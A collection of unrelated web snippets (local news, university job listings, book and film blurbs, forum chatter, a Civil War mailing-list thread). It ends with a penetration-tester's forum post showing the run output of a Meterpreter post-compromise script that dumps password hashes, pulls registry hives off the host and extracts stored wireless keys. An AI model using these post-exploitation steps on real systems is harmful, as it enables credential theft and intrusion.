A golden retriever in Illinois has earned his way into the Portage High School yearbook. Prince, the 9-year-old golden retriever, is retiring from his position as a therapy dog at the high school in Illinois. As a parting gift, the school took a professional photo of Prince and published it along with photos of the class of 2013. Melissa Deavers-Lowie, the Portage High School's yearbook adviser said, "We've never done anything like this but it was a nice way to say goodbye to Prince," Prince's replacement is a 1-year-old golden retriever named Isaiah.


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Graduate Assistantships
This page lists opportunities within the School of Human Performance and Leisure Sciences. Openings are posted for all departments (Sport and Exercise Science, and Intercollegiate Athletics, as well as The Department of Campus Recreation & Wellness.
Unless otherwise specified, the Graduate Assistantship opportunities listed below become available on a need basis rather than scheduled basis. This need generally occurs when the person currently holding the position graduates.
Students are required to submit academic applications and be accepted to Barry University prior to applying for graduate assistantship positions. For more information contact, Kathryn Ludwig firstname.lastname@example.com 305.899.4077.
Graduate Research Assistant
Graduate Research Assistantships are offered through the Department of Sport and Exercise Sciences. Responsibilities include, but are not limited to: assisting graduate faculty with essential elements of scientific inquiry: data collection and entry, participant recruitment, assisting with grant applications, literature reviews, pilot testing, and scholarly writing. Graduate student applicants must have experience with research methods.
- Number of positions vary
- Coordinator Contacts:
- Sport Management – Dr. Daniel Rosenberg
- Injury and Sport Biomechanics – Dr. Claire Egret
- Exercise Physiology – Dr. Constance Mier
- Sport, Exercise, & Performance Psychology - Dr. Gualberto Cremades
- Download application form here
Graduate Assistant, HPLS
A Graduate Assistantships is offered through the School of Human Performance and Leisure Sciences, reporting to the Dean. Responsibilities include, but are not limited to: updating the School's webpage, maintaining HPLS alumni contacts, monitoring and posting to all HPLS social media platforms, assisting in data collection or literature searches, and assisting with the coordination of the School's social events. Graduate student applicants must have experience with social media trends, demonstrate proficiency with creative and effective multi-media and presentations, SurveyMonkey, PowerPoint, Excel and Canvas, and possess strong interpersonal and written/spoken communication skills.
- One position available
- Coordinator contact:
- Dr. Darlene Kluka, Dean, School of HPLS
Graduate Assistant, Athletic Training
The graduate assistant positions offered in Athletic Training are available in two formats. Two on-campus appointments of two years each include assignments to collegiate teams and responsibilities for mentoring pre-clinical undergraduate program majors in athletic training. The second format available is for off-campus single or multiple year assignments to area high schools serving as substitute instructional staff with additional responsibilities as an assistant or head athletic trainer.
- Number of positions vary
- Coordinator contact:
Graduate Assistant, Sports Information
The sports information graduate assistant is responsible for assisting the director of sports information in publicizing Barry's 12-sport intercollegiate athletics program. Responsibilities include, but are not limited to: writing press releases, assisting with production of publications and helping with home event management for all sports, as well as handling other duties as assigned. A bachelor's degree in journalism, English, communications or related field is required. Applicants should have solid writing and interpersonal communication skills, and previous experience working with Stat Crew software for Basketball and The Automated Scorebook for baseball / softball, soccer and volleyball. In addition, the successful candidate should have experience working with desktop publishing software including InDesign and PhotoShop. Students must be willing to work during home events, at night and on weekends.
- Number of positions vary
- Coordinator contact:
- Mr. Dennis Jezek, Jr., Director of Sports Information
Graduate Assistant, Athletic Administration
This position is one requiring a responsible, motivated candidate who has completed a baccalaureate degree. Responsibilities for this administrative position in the Department of Intercollegiate Athletics includes include, but are not limited to, working with the assistant to the dean in supporting the department's study hall/ class attendance program, assisting in daily operations of the athletic program, and being able to interact effectively with students, faculty, staff, and coaches. Demonstrated experience with Microsoft Office software, and ability to organize/prioritize/follow through on projects is necessary. An undergraduate background in sport management is preferred.
- One position available
- Coordinator contact:
- Dr. Bridget Lyons, Senior Associate Director of Athletics / SWA
- Ms. Amanda Knight, Assistant Director of Athletics
Graduate Assistant, Academic Support
This provides assistance to the HPLS Coordinator in the daily administration of policies, systems, services, and activities associated with the academic progress and support of Barry University's student-athletes. Barry Athletics includes approximately 200 student-athletes participating in 12 varsity teams (7 women's; 5 men's) competing in NCAA Division II and within the Sunshine State Conference. The position also provides assistance with HPLS Student Success initiatives for HPLS majors.
- Coordinator contact:
- Ms. Tiffany Nicholson, Coordinator of HPLS Academic Success & Support Services


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NORTHFIELD, IL -- Kraft Foods was dealt a blow last on Jan. 28 when a U.S. District Court judge denied its request for a preliminary injunction that would have stopped Starbucks Coffee Co. from attempting to terminate its distribution agreement with the food company before the end of arbitration that is still under way. Kraft said it intends to appeal the decision.
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M1 : Brain and Behavior
17 sessions for 180-200 students.
Course Director: Michael Schrift, MD
Course Objectives:
- Understand the definition of neuropsychiatry, the basics of the exam, and how it complements/integrates neurology and psychiatry as well as its role in medicine.
- Learn about cognition (such as memory, language, and executive functions), and aspects of their neurochemical and neuroanatomical substrates, as well as the role of neuropharmacology in cognition.
- Learn about the basic tools of "lab" evaluation in clinical neuroscience, such as MRI, fMRI, and neuropsychological testing.
- Explore certain disorders in more detail, both clinical aspects and current research, to provide examples that will integrate previous lectures as much as possible, such as seizure disorders, addiction, traumatic brain injury, and schizophrenia.
M1 Human Development Course
Course Director: Lisa Razzano, Ph.D.
- All M1 students are required to take and pass course
- In 2007-08, course expanded from 12 to 17 lectures to increase focus on neuroscience, developmental mental health, and illnesses of childhood
- Greater emphasis on cross-walking material with Brain & Behavior course
- Course includes research and evidence-based practice related to neurological development, mental disorders of childhood through geriatrics, and other topics related to psychiatry


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Alias Grace. Margaret Atwood
Along Came a Spider. James Patterson
American Psycho. Bret Easton Ellis
Angela's Ashes. Frank McCourt
Because of Winn-Dixie. Kate DiCamillo
Birdsong. Sebastian Faulks
The Bridges of Madison County. Robert James Waller
Bridget Jones's Diary. Helen Fielding
A Civil Action. Jonathan Harr
Cold Mountain. Charles Frazier
The Color of Water. James McBride
Don't Let the Pigeon Drive the Bus. Mo Willems
Dreams from my Father.Barack Obama
The English Patient. Michael Ondaatje
Fight Club. Chuck Palahniuk
The Firm. John Grisham
The Graveyard Book. Neil Gaiman
Guns, Germs, and Steel. Jared Diamond
Harry Potter and the Sorcerer's Stone. J.K. Rowling
High Fidelity. Nick Hornby
Holes. Louis Sachar
The Ice Storm. Rick Moody
Infinite Jest.David Foster Wallace
Into Thin Air. John Krakauer
Isaac's Storm. Erik Larson
Jurassic Park. Michael Crichton
Lilly's Purple Plastic Purse. Kevin Henkes
The Matisse Stories. A.S. Byatt
Memoirs of a Geisha. Arthur Golden
Men are from Mars, Women are from Venus. John Gray
Midnight in the Garden of Good and Evil. John Berendt
Number the Stars. Lois Lowry
Olivia.Ian Falconer
The Pelican Brief. John Grisham
The Plains of Passage. Jean M. Auel
The Poisonwood Bible. Barbara Kingsolver
Possession. A.S. Byatt
Primary Colors. Joe Klein (originally Anonymous)
The Rape of Nanking. Iris Chang
Shiloh. Phyllis Reynolds Naylor
The Stinky Cheese Man. John Scieszka
Thank You for Smoking. Christopher Buckley
The Things They Carried.Tim O'Brien
Tuesdays with Morrie. Mitch Albom
Underworld. Don DeLillo
A Walk in the Woods:Rediscovering America on the Appalachian Trail. Bill Bryson
The Watsons Go to Birmingham, 1963. Christopher Paul Curtis
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Guy Fatally Stabbed Over Chess: Cops
(NEWSER) – Chess is, apparently, serious business for some people—deadly serious. Police in Ireland believe a man who was found stabbed to death at his home early yesterday was murdered after a disagreement regarding a chess move during a late-night game, Sky News reports. Thomas O'Gorman, a 39-year-old researcher and former journalist, was found with dozens of stab wounds, and a 34-year-old Italian man was arrested at the scene.


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Any body got any information on the gym how much to train etc stuff like that ?
Any body got any information on the gym how much to train etc stuff like that ?
trained there cuple years back when i was fightin in k1 mate heavy sparrin down there those lads aint no cowerds like most muggy gyms but had few disagreyments with the managers coz was handin out few to many ko's to there top fighters right before there fights an knocked out to many of there fighters like sergey karananov an muggy gokhan saki they didnt like it coz was only there for cuple weeks an gave all those cunts brane damage an rewewyned cuple careers made few fighters leave coz after trainin with johny boy they didant wanna listen to there muggy coach they saw the real trainin with me an moved to london so aint allowed back there but wudant go back anyway none of those cunts can touch johny boy pal
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My favorite fashion designer is Phillip Lim. I'll be honest in that I don't really follow designers all that much (mostly because I don't have the budget to buy their clothes), but I do flip through various fashion magazines each month, and every time I like a piece and I look in the sidebar to see who it's made by, it's Phillip Lim. I think he just has a great mixture of amazing cuts, classic styles, sleekness and a little big of edge.
I can not live without shoes! I'm like the sister in "In My Sister's Shoes" that buys shoes and doesn't wear them a lot, but keeps them in her closet "just in case." Well, I have that problem. 🙂
Good question.. I never thought about creating a beauty product, mostly because I can find whatever I want out there pretty much. I guess sometimes though, I can't find the exact nail color I'm looking for, so it would be interesting to design colors for a nail polish company and develop a polish that tries SUPER fast!
light weight, cotton knee length cami dress, with a pair of simple sandals or flats, a cardigan or light weight linen jacket (for if it gets cold), and a pair of sunglasses for Seneca Lake near Watkins, Glen NY.
Don't be afraid to try something new and different. It's always great to have a distinct style, but I find the most fun in trying something new for a day. Fashion is a great way to express yourself because sometimes you feel like a little bit country, and sometimes you feel a little bit rock n' roll. Fashion is the easiest way to try on a new you!


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Blood Games
Five women who have been best friends since college are getting together for their annual vacation. This year it is Helen's choice. She is interested in the bizarre and The Totem Pole Lodge seems like the perfect choice for this year's trip. The abandoned hotel has a terrible history of lodgers having been killed by a mass murderer. The girls are having a blast until they realize that they aren't alone. After deciding to stay the night and leave in the m...
Endless Night
Jody is pretty tough for a teenage girl, when a group of killers break into her friend's house where she is staying overnight she manages to escape with her friend's little brother. They hide out in the woods into the police arive but not before being chased by the group of killers. They are put into protective custody but the killers are giving uo that easy, there's no way they're going to let a witness to their crime live. Simon is one of th...
Night In The Lonesome October
Ed got a letter from his girlfriend telling him how she has found someone else. Heartbroken, Ed couln't sleep and went for a walk. Ed is not alone in the dark shadows of the night. Strange people come out to play at night. Ed spots a girl walking along and follows her. This becomes a nightly thing. He gets obsessed with finding out who she is. During his nightly adventures he runs into all kinds of night crawlers including canibal trolls who live under t...
The Lake
Leisure, Oct 2004, 24.00, 384 pp. ISBN: 0843954507 As a teen, Leigh was a rebel protesting the Viet Nam War so her parents decided she needed a change of scenery sending her to her uncle an aunt's home in Wisconsin where she met Charlie Payne. Leigh chased after the shy man who was intimidated by his mother until she finally caught him. They made love in an abandoned house, but as Charlie was leaving he fell through the floor, hit his dead, and...
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The Midnight Tour
The story revolves around 3 main individuals each with their own reasons why they are drawn to The Beast House. Dana, is a beautiful new tourguide. Sandy, a young ex-tourguide who has mothered a beast herself, leaves a path of destruction wherever she goes. Owen is a huge fan of the Beast House. As the story progresses you learn the history of the house and about the white skinned, hairless beast whose sexual appetite and features amongst other things,...
To Wake the Dead
Leisure, Sept 2003, 24.00, 384 pp. ISBN 0843951044 In 1926 Robert Callahan accompanied his father to Egypt and through an unusual set of circumstances found the tomb of Amara, the favorite wife of Mentuhotep I. He unknowing opened the magic seal that prevented her from walking the night and actually saw the body of the man she had killed. He finds an Egyptian mystic to fashion two seals that will keep her in her coffin and when that is done he ...


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Zak Billmeier grew up in southern Vermont and coastal Maine. After graduating from Mary Washington College with a Geography degree he still isn't sure quite what to do with, he eventually settled in the mountains of Central Virginia. He spends his free time chasing his daughter around, taking pictures, gardening and cooking. He joined Crutchfield's car A/V writing team in 2007 and is now a lead producer on our video team.
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AKG brings more than 60 years of audio expertise to the table, and it shows in their 2013 line of headphones. Get the lowdown from the AKG booth at CES 2013.
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Zak: I'm here at CES 2013 and I'm here with Andy ,who's gonna tell us about this year's AKG headphone line.
Andy: Hi, Zak. Yeah, there's really two models that I would like to share with you. One of them is the K551, which is really the successor of this award-winning K550. This product is literally a reference-class headset for on the go, and features a 50mm AKG driver — our largest driver ever built.
And what is cool about this headset is it features the best of both worlds. Kind of the lows of the closed-back design, featured with the open imagery of an open-back design. This model just launched a couple of weeks ago and really award-winning, great design, and great sound for on the go.
Another model is the K618/K619. That's our new DJ line. This is the successor product of the award-winning K518. We just launched it in multiple colors. It comes in black, red, as well as blue, and you see kind of cool new features. You see this brushed metal finish on the outside of the cup. Almost reminds us of a vinyl, right. It also has a very thick and comfortable headband. It features a 40mm driver. We EQ'd it a little bit so it has a better performance than the K518, so it's a really great headset. The 618 DJ comes with the longer cable, no remote. The 619 will actually feature the in-line mic and remote.
Zak: Thanks, Andy. That's headphones from AKG.


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This is the strength trainer that enables you to build and tone muscles while sitting in an office chair. The unit's dual Velcro straps attach to a backrest and the elastic bands and pulley system provide resistance as you perform traditional weightlifting movements. The three included sets of elastic bands interchange to provide four, eight, and 12 pounds of resistance for the more than 20 possible exercises, including bicep curls, shoulder presses, and bench presses. The strength trainer helps relieve muscle tension that accumulates during long periods of sitting and the elastic bands build strength without putting undue stress on joints. Frame is made from durable polyamide and aluminum Accommodates 11 3/4" to 19 2/3" high backrests. Assembly required. Includes a booklet that demonstrates exercises. 25 2/3" W x 25 2/3" H x 3" D. (4 1/2 lbs.)
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This product is great. My chair doesn't allow a strap to go vertically around the top to secure the equipment, but the velcro strap has stayed securely around the thinner middle of the seat - if you do not have a tapered section or a chair that separates the seat from the back so you can wrap the strap around, this product won't work for you. I am dissapointed that the center bars are too big so I cannot put them in the down position to do bicep curls or stabilizing exercises but I am really enjoying the exercises I can do in the higher position.
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text: And they really like to be in gangs. "Hello! I'm The Doctor." (Dr. Who) ________________________________ From: Jack Lawrence <jlawrence at kc.rr.com> To: GDG <gettysburg at arthes.com> Sent: Friday, January 6, 2012 11:15 AM Subject: Re: GDG- Slavery in the South Esteemed GDG Member Contributes: No doubt about it. The younger they are, the less of a social conscience they have developed. They are mostly shallow (some of us old guys are too!!!!). Youg men do the fighting, old men do the killing. Regards, Jack ----- Original Message ----- From: "George Connell" <georgeconnell at me.com> To: "GDG" <gettysburg at arthes.com> Sent: Friday, January 06, 2012 9:47 AM Subject: Re: GDG- Slavery in the South > Esteemed GDG Member Contributes: > As in most wars, geography was destiny. Young men fight for their country or region simply because that's where they live. > > It's my experience that their grasp of or interest in the issues is very shallow. Testosterone and social pressure are the keys to understanding their motivation. Once in the army small-unit loyalty keeps them fighting. > > Regards, > > George > > On Jan 6, 2012, at 9:07 AM, Nancy Householder <pipecreek1430 at yahoo.com> wrote: > >> Esteemed GDG Member Contributes: >> Most Southerner fought to defend their homes and familes. The slave owning aristoracy controlled the politics >> of the states and pushed for seccesion. They then convinced everyone else to fight to defend your homes and >> familys from the Yankees and the Black Republicans. They spread the lie that the Black Republicans were out >> to not just free the slaves, but give the negros equality with the whites, and let Negro men marry white women! >> Even the poorest white, was considered better than the negro on the social scale. Now the Black Republicans >> were out to make the negros equal with the whites! Heresy! Quick, sign up to fight for the Confederacy!!! >> >> Nancy Householder >> >> >> >> ________________________________ >> From: John Grim <jgrim1941 at gmail.com> >> To: gettysburg at arthes.com >> Sent: Thursday, January 5, 2012 8:19 PM >> Subject: GDG- Slavery in the South >> >> Esteemed GDG Member Contributes: >> Esteemed Members >> >> 0ne concept that I would like to throw out has seldom been touched and that >> is"Why would the average southerner fight to support slavery when less than >> one in four owned a slave and an even smaller percentage had plantations >> with a considerable number of slaves". >> >> 0bviously people who owned many slaves and great plantations were looked on >> in most communities as wealthy and successful and living a very indolent >> lifestyle. The average southerner maintained his small farms with himself >> and sons. A man with a lot of land was looked on as extremely successful. >> If you owned a few horses or mules you were probably more successful >> Therefore, if you could ever get a few slaves to help you work your farm >> you would start to gain wealth and have a greater status in your community. >> 0wning slaves created status and wealth. In a day when only the rich went >> to college owning a slave became the way to success. Believing the North >> was going to destroy the only quick way to gaining status made many >> southerners believe their way of life was being destroyed.........just my >> thougts. >> ----------------http://www.arthes.com/mailman/listinfo/gettysburg_arthes.com -to unsubscribe >> http://arthes.com/pipermail/gettysburg_arthes.com/ for Archives >> ----------------http://www.arthes.com/mailman/listinfo/gettysburg_arthes.com -to unsubscribe >> http://arthes.com/pipermail/gettysburg_arthes.com/ for Archives > > ----------------http://www.arthes.com/mailman/listinfo/gettysburg_arthes.com -to unsubscribe > http://arthes.com/pipermail/gettysburg_arthes.com/ for Archives > ----------------http://www.arthes.com/mailman/listinfo/gettysburg_arthes.com -to unsubscribe http://arthes.com/pipermail/gettysburg_arthes.com/ for Archives


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Dear Families,
It is soon upon us, the 2003-2004 school year. It is hard to believe that two years have passed since we sent our children to school on the bus and had them return to a life forever changed. We, at Families of September 11, are pleased to provide you with letters and information you might find useful as you return to meet with your children's teachers and administrators.
As we did last year, attached in this bulletin is a letter to schools addressing remembrance ceremonies planned for September 11. We continue to stress that media re-broadcasts of the devastation be avoided in an effort to best protect our children from the debilitating effects of complicated grief and loss and post traumatic stress disorder.
We have also included a letter encouraging schools to better inform parents of emergency procedures and protocols. In the wake of September 11, a vast majority of schools and communities updated their emergency response protocols to correspond to the new "vulnerable" times. Paradoxically, in most cases those changes have not been communicated to those they are intended to protect. Especially with regard to our children in our schools, it is necessary for us to be aware of emergency procedures so that we do not put our children or ourselves needlessly at further risk. Being unaware of lock down or evacuation procedures in the event of terrorist activity could result in tragic fatalities of both parents and children.
Do you know the emergency procedures of your schools? We are undertaking a strong effort to urge all school districts to inform their school community of safety and emergency protocols. As parents, you are in the best position to assist in this effort on a local level. Attached is an "Open Letter to Schools" from Families of September 11 which you can use to help convince your school administration to share all safety information. You can contact us if you need assistance or further advice.
The websites of the Departments of Education in New York City, New York State and Pennsylvania have links to information about their emergency response protocols. The information is very detailed in some instances but often does not discuss what a parent's role or expectation is during an emergency. If you live in these areas, please refer to these websites before contacting your schools, but do not hesitate to request that emergency response information be more broadly disseminated, or be defined more clearly in terms specific policies at your school facility. Please visit www.familiesofseptember11.org for links to these websites.
Please let us know if there is any other way we can assist you in your efforts in assuring your child's safe return to school.
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LeAnn Rimes' jaw pops out of place during concert
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LeAnn Rimes was forced to cut her concert short in Oklahoma on Saturday after her jaw popped out of place.
Yes, you read that correctly.
The singer was unable to come out for her encore , and took to Twitter to explain why.
Oklahoma!!!! I love you so much! I'm sorry for no encore. I had my jaw pop out of place & I can't hear out of my left ear. #tmjsucks
— LeAnn Rimes Cibrian (@leannrimes) March 23, 2014
She added later the situation was "misery."
The country star, who said she's had TMJ since she was 16, previously canceled a concert in 2012 due to a "massive" dental infection and had surgery on her mouth earlier that year.
Rimes' next show is scheduled for April 4 in Mississippi.
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|Joe Benson hitting for the Twins in Spring Training.
In part of the article, Neal mentioned that the Nationals have been perusing the Twins organization for a center field prospect that could be acquired in a trade. Many sources have noted that the Nationals have acquired about dealing for Denard Span but the Twins might not have him on the table.
If Span is not available in a trade, would the Twins be willing to part with one of their top outfield prospects in a deadline deal?
The Twins have three highly ranked centerfield prospects in the organization that have shown promise this season. Joe Benson and Aaron Hicks have both shown tremendous ability during their 2011 minor league seasons. At the same time, Ben Revere has been showcasing his skills at the major league level. Each of these players could be part of the long-term plan for the Twins organization.
Seth Stohs of SethSpeaks.net, the top Twins minor league blog on the web, answered some Twitter questions that concerned these players. He felt that many teams would be asking for these prospects in a deadline deal but a top ten prospect is not worth a relief pitcher. Later in the post, he mentions that he does not expect Benson to get traded this year and that he could be starting for the Twins by 2013.
As someone that keeps a close eye on the Twins minor league system, I would hate to see any of these top prospects exit the organization. The Twins roster in a few short seasons could include Hicks, Benson, and Span as the starting outfield with Revere serving as the backup outfielder.
That sounds like a great outfield line-up to write in everyday for the Twins and it sure is not worth trading that away for a relief pitcher.


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Hi guys,
I'm wondering how you spend your weekends?
Most of the time, i'm at home working on Saturday too and have only Sunday as free day, but when i get some free time, i take my car and go anywhere i feel. Small trips, some fresh air from mountains, a small visit to the parents or maybe a visit to the cinema and watching a movie.
So how do you spend your weekend?
I'm working on weekends too , I create little free times on the weekdays with beloved ones…
But anyway, music is always there…
Typically I do the majority of my CC work on weekends, but this weekend is different. Black Mesa was just released! Life is officially on hold until I've finished it(unless of course I get a support request :/).
I don't work on weekends but I browse websites that are useful
Oh yeah, the weekend The only time when I can do some real work to my AudioJungle portfolio!
As most of my working week is taken by the day job, I can spend only an hour or two for my AJ projects during the week. So I'm making it up during weekends, usually using Saturday for working with a music track and Sunday with a promotional video for a music track. Of course, depending on weather, I start the day with a trip and some fitness training, but I'm back home, I focus on my work.
Here on my blog there are example relations from suck working sessionshttp://tj-art.blogspot.com/
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I'm a student, so weekdays, weekends, the same…
Bed, bed, bed, bed, dinner, bed, bed, bed, bed, bed, church, bed, bed, diner, bed, bed, bed, OMG , NO! is it Monday again?
kailoon said
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+1 on the Arsenal match!
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kailoon said+1 on the Arsenal match!
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Washington • A Senate panel passed a sweeping immigration reform bill Tuesday evening, which Sen. Orrin Hatch supported after the committee accepted his changes to a visa program for highly skilled workers.
The bill offers the largest re-write of the nation's immigration laws since the 1980s, spending billions of dollars on border security, creating a 13-year path to citizenship for unauthorized immigrants and requiring every employer to check the immigration status of workers.
Tuesday's 13-5 vote in the Senate Judiciary Committee is an achievement for the bill's supporters, but it still must survive weeks of debate before the full Senate and make it through the Republican-controlled House, a politically perilous process expected to last throughout the summer and into the fall.
The committee considered hundreds of amendments over five days of lengthy debate, which pushed the bill to the right by requiring the government to apprehend 90 percent of illegal border crossers on the entire boundary with Mexico instead of just high-risk areas. The committee also accepted an amendment to require the fingerprinting of foreign nationals leaving from the nation's busiest airports.
That fingerprinting provision was sponsored by Hatch, R-Utah, who emerged as the key figure in the Judiciary debate. His was the only vote up for grabs, and the bill's supporters aggressively sought his approval.
Hatch promised to support the bill if the committee would make it easier for high-tech companies to get visas for temporary foreign workers. The committee did so over the objections of unions, which wanted tougher rules to ensure companies hire Americans first.
Under the agreement that Hatch struck with Sen. Charles Schumer, D-N.Y., most companies will have to place a job listing on online employment boards and certify that they don't intend to displace an American worker, but will avoid new audits and more stringent requirements to recruit domestic employees.
"Senator Hatch, a number of us, myself included, have really leaned a long way in your direction to get your support for immigration reform," said Sen. Dick Durbin, D-Ill. "We made those concessions to win your support. We need your support. We want to pass this bill."
Sen. Lindsey Graham, R-S.C., also lauded Hatch saying his support "is very welcome, much needed and appreciated."
This is the first time in Hatch's 37-year Senate career that he voted for a bill with a path to citizenship, indicating before the Judiciary debate that he was swayed in part by the Salt Lake Chamber of Commerce and religious leaders, including those in The Church of Jesus Christ of Latter-day Saints, who have been supportive of immigration reform.
"I think if it is defeated, we won't do anything for another 10 years. And we'll just let what really is a festering sore continue to fester," Hatch said at the time. "I think we've got to face up to this."
But Hatch hasn't committed to supporting the bill on the Senate floor, and he won't unless the Senate adopts his plan to require unauthorized immigrants to forgo federal health benefits under the Affordable Care Act for five years and pay back taxes.
Schumer, Durbin and Graham are three members of the bipartisan "Gang of Eight" that drafted the bill. They want to get at least 70 votes in the Senate to put pressure on the House of Representatives to take up the bill and that will take some significant Republican support. The Gang hopes Hatch can help.
Utah's senior senator said the high-tech compromise "would help make this bill more acceptable to the House."
That is yet to be seen, as House Speaker John Boehner has expressed a willingness to support immigration reform, but key members of his Republican caucus have rejected the Senate's approach, instead favoring a process that breaks the bill into parts and may delay a path to citizenship for the 11 million people in the U.S. illegally.
Sen. Mike Lee, R-Utah, one of five Republican on the Judiciary Committee to oppose the bill, was an original member of the "Gang of Eight" but dropped out because he couldn't support a path to citizenship.
The bill offers legal status to unauthorized immigrants within six months of the bill's passage if certain border security provisions are put into place.
After 10 years these provisional immigrants can obtain a green card, as long as they learn English, pay a fine and maintain employment.
Lee favors putting off any legislation addressing those in the U.S. illegally.
Instead he argues to break the bill into pieces, accepting more consensus items on border security and legal immigration first.
None of Utah's four House members have supported a path to citizenship or worked on a similar bill being developed by their colleagues.
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Gearing up for the November 5th DVD release of "Twilight Forever: The Complete Saga," fans flocked to see some of the blockbuster's stars at the Twilight Forever Fan Experience on Monday night (November 4) in New York City.
Taking part in some beautiful fall nuptials, Jackson Rathbone married Sheila Hafsadi in Malibu, California on Sunday (September 29).
The "Twilight" star met his burlesque beauty while touring with his band 100 Monkeys. Back in July 2013, the happy couple welcomed their first child, Monroe Jackson Rathbone VI.
Taking the absurd approach to the natural disaster genre, "Sharknado" debuted on the SyFy Network on Thursday evening (July 11).
Based on the premise that a tornado sucks a bunch of sharks out of the ocean and carries them into Southern California, the original movie's cast members Tara Reid and Ian Ziering led the parade of posts on Twitter following the film's conclusion.
Making tracks all over Western Europe, Jackson Rathbone and Nikki Reed showed up in Copenhagen, Denmark for the big premiere of "The Twilight Saga: Breaking Dawn Part 2" last night (November 15).
The "Thirteen" hottie and her hunky costar were greeted by a mob of excited Danish Twi-hards as they arrived at the event, schmoozing and posing before heading inside for a Q&A and screening.
Exploring the great Scandinavian region, Nikki Reed and Jackson Rathbone showed up at the Oslo, Norway premiere of "The Twilight Saga: Breaking Dawn Part 2" last night (November 15).
The "Chain Letter" cutie (in a Naeem Khan Gown and Casadei heels) and the hunky 100 Monkeys rocker hammed it up at the Colosseum while fans went nuts.
Making for one of the biggest cinematic events in recent history, the stars of "The Twilight Saga: Breaking Dawn - Part 2" gathered for the Los Angeles premiere on Monday (November 12).
Ready to bid a fond farewell to his character, Jasper Hale, Jackson Rathbone made his arrival to "The Twilight Saga: Breaking Dawn - Part 2" premiere in Los Angeles on Monday (November 12).
The 27-year-old actor looked stylish in a perfect-fitted navy suit, as he posed for photographs and greeted the waiting mob of fans, before heading in for the main event.
Young Hollywood stars were on hand for the Express and Vogue Celebrates 'The Scenemakers' party at the Chateau Marmont in Hollywood on Thursday evening (September 27).
"Glee's" Mark Salling was joined by the lovely Nikki Reed and Jenna Dewan-Tatum at the star-studded event.


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Guys I recently made a small quick and dirty Meterpreter script for enumerating and gathering all the typical information I tend to gather out of Windows 2003 and XP hosts after a compromise. Since in most engagements I'm not allowed to install any software on the target hosts I made it so it will use windows native command line tools.
here is a sample of running it, once a machine is exploited and meterpreter is deploy just type run winenum to launch the script:
and here is the code, you have to place it in /pentest/exploits/framework3/script/meterpreter/ and name it winenum.rbCode:meterpreter > run winenum [*] Running Windows Local Enumerion Meterpreter Script by Darkoperator [*] New session on 10.10.10.7:1249...[*] Executing: set[*] Executing: arp -a [*] Executing: ipconfig /all [*] Executing: ipconfig /displaydns [*] Executing: route print [*] Executing: net view [*] Executing: netstat -na [*] Executing: netstat -ns [*] Executing: net share [*] Executing: net view [*] Executing: net group [*] Executing: net user [*] Executing: net localgroup [*] Executing: net view /domain [*] Executing: netsh firewall show config [*] Executing: wmic computersystem list [*] Executing: wmic useraccount list [*] Executing: wmic group [*] Executing: wmic service list brief [*] Executing: wmic volume list brief [*] Executing: wmic process list brief [*] Executing: wmic startup list full [*] Executing: wmic qfe [*] Downloading WDSRB.txt to -> /tmp/10.10.10.7_20081123.390899982 [*] Dumping password hashes... [*] Exporting HKCU [*] Compressing HKCU into cab file for faster download [*] Exporting HKLM [*] Compressing HKLM into cab file for faster download [*] Exporting HKCC [*] Compressing HKCC into cab file for faster download [*] Exporting HKCR [*] Compressing HKCR into cab file for faster download [*] Exporting HKU [*] Compressing HKU into cab file for faster download [*] Downloading HKCU.cab to -> /tmp/10.10.10.7_20081123.390899982-HKCU [*] Downloading HKLM.cab to -> /tmp/10.10.10.7_20081123.390899982-HKLM [*] Downloading HKCC.cab to -> /tmp/10.10.10.7_20081123.390899982-HKCC [*] Downloading HKCR.cab to -> /tmp/10.10.10.7_20081123.390899982-HKCR [*] Downloading HKU.cab to -> /tmp/10.10.10.7_20081123.390899982-HKU [*] Removing anything we left behind... [*] Done! meterpreter >
Josh Wright from Inguardians published a great paper called Vista Wireless Power Tools on the new features of Windows Vista wireless commands plus published several tools. I added the enumerations commands to Winenum plus it will now export the registry keys where the wireless configured networks of Windows XP and Windows Vista machines is stored, this files can be imported into the pentesters windows bos to gain access to the clients network or to get the wireless keys using other tools after importing.
let me know if you like it.